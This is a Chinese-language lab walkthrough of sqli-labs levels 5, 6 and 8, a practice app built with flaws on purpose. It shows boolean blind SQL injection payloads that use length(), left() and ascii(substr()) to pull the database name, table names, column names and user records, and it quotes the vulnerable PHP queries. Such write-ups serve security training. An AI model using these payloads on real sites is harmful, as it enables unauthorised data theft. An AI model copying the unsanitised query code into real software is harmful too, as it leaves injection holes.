sqli-labs:Less 5 6 8

Less 5、6、7 都是基于bool注入的关卡,基本思想是利用函数提取出查询结果字符串的各个字符,利用回显信息依次判断原字符是什么。

Less 5

双注入 GET 单引号字符型bool注入

判断注入类型

首先注入正确的参数,网页返回 “You are in…”,但是没有其他信息。

?id=1

image-20240807163802339

接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。由于网页仅返回存在或不存在,因此我们可以使用 bool 注入

?id=-1

image-20240807163826920

判断是否有 SQL 注入漏洞,注入个单引号进行闭合,网页返回报错信息。这说明网页存在 SQL注入漏洞,并且是用单引号字符型注入。

?id=1'

image-20240807163925060

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行一个排序,测试到第3列返回 “You are in…”,测试到第4列未返回 “You are in…”,说明表中一共有 3 列。

?id=1' order by 3 --+

猜测数据库名的长度,网页只会有返回 “You are in…” 和无回显两种情况,我们使用 length() 函数结合回显信息判断数据库长度,用二分法测试,能更快得出数据库长度为 8。

?id=1' and length((select database()))>5 --+    #返回 “You are in...” 
?id=1' and length((select database()))>10 --+ #无回显
?id=1' and length((select database()))=8 --+ #返回 “You are in...”

获取数据库名,此处不适合用union联合查询。我们使用left()函数,left(string,num) 函数返回字符串 string 最左边的 num 个字符。我们首先使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。

?id=1' and left((select database()),1)='a' --+

这里可以用bp抓包,然后对指定字符进行爆破,得出第一个字符为s

image-20240809093957419

接下来判断数据库名的第二位字符,还是使用 left() 函数进行。

?id=1' and left((select database()),2)='sa' --+

继续用bp进行爆破得到第二位字符为e,依次类推得到数据库名”security”
使用同样的方法继续爆破可以得到表名、字段名以及剩余信息。

爆破表名:

?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),2)='em' --+  
#返回security库的第1个表名字符串最左边2个字符进行判断

?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),2)='us' --+
#返回security库的第4个表名字符串最左边2个字符进行判断

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,2)='em' --+
#从security库的第1个表名的第1位字符开始截取2位字符进行判断

爆破字段名:

?id=1' and left((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),8)='username' --+ 
#返回security库的users表的第二个字段名最左边8个字符进行判断
#若判断错误,则无回显

爆破字段信息:

?id=1' and left((select username from security.users limit 0,1),1)='D' --+ 
#判断security库的users表的username字段下面的第1个值的第1个字母是否为D
#若判断错误,则无回显

关卡SQL查询语句

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}

Less 6

双注入 GET 双引号字符型注入

判断注入类型

?id=1        #正常回显“You are in...”
?id=1' #正常回显“You are in...”
?id=1" #报错
?id=1" --+ #正常回显“You are in...”
?id=-1 #无回显

此处存在SQL注入漏洞,并且是用双引号字符型注入
注入个查不到的参数,网页没有任何反应,说明向这个网页传入参数可用于判断 id 值是否存在,如果存在则返回信息。由于网页仅返回存在或不存在,因此我们可以使用 bool 注入

获取数据库信息

除了闭合方式改为双引号外,注入方法可与Less 5一模一样。
这里我们尝试另一种注入方法。

判断数据库长度,用二分法测试,可尽快得出数据库长度为 8。

?id=-1" or length((select database()))=8 --+

substr() 函数用于截取字符串,substr(string,start,length) 函数的 string 为被截取的字符串,start 为起始位置,length 为截取长度。ASCII() 函数返回字符的 ASCII 码值,大致思路是使用 substr() 函数截取数据库名的每个字符,然后判断这个字符的 ASCII 码值。

?id=-1" or ascii(substr((select database()),1,1))>109--+
?id=-1" or ascii(substr((select database()),1,1))=115--+

使用相同方法依次得出剩下的字符 ASCII 码值,连接在一起就是数据库名。

?id=-1" or ascii(substr((select database()),2,1))=102--+

关卡SQL查询语句

$id = '"'.$id.'"';
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color= "#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}

Less 8

布尔型单引号 GET 盲注

判断注入类型

首先注入正确的参数,网页返回 “You are in…”,但是没有其他信息。

?id=1

接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。

?id=-1

此时还是注入单引号,但是把后面的内容注释掉,网页返回 “You are in…”。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。同时因为 SQL 语句发生错误时也不报错,因此此处是 bool 盲注漏洞。

?id=1' --+

获取数据库信息

和 Less 5 不同在于 Less 8 查询发生错误时不会报错,不过基本的操作与 Less 5 类似。首先判断表有几列,使用order by子句进行一个排序,测试到第 4 列未返回 “You are in…”,说明表至少有 3 行。

?id=1' order by 3 --+

猜测数据库名的长度,网页只会有返回 “You are in…” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度

?id=1' and length((select database()))=8--+

使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。

?id=1' and left((select database()), 1)='a' --+

这里可以打开 burp 抓包,爆破得出数据库名的第一个字符为 “s”。

?id=1' and left((select database()), 1)='s' --+

使用相同方法爆出数据库名,接着继续爆破表名、字段名及其剩余信息。

关卡SQL查询语句

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}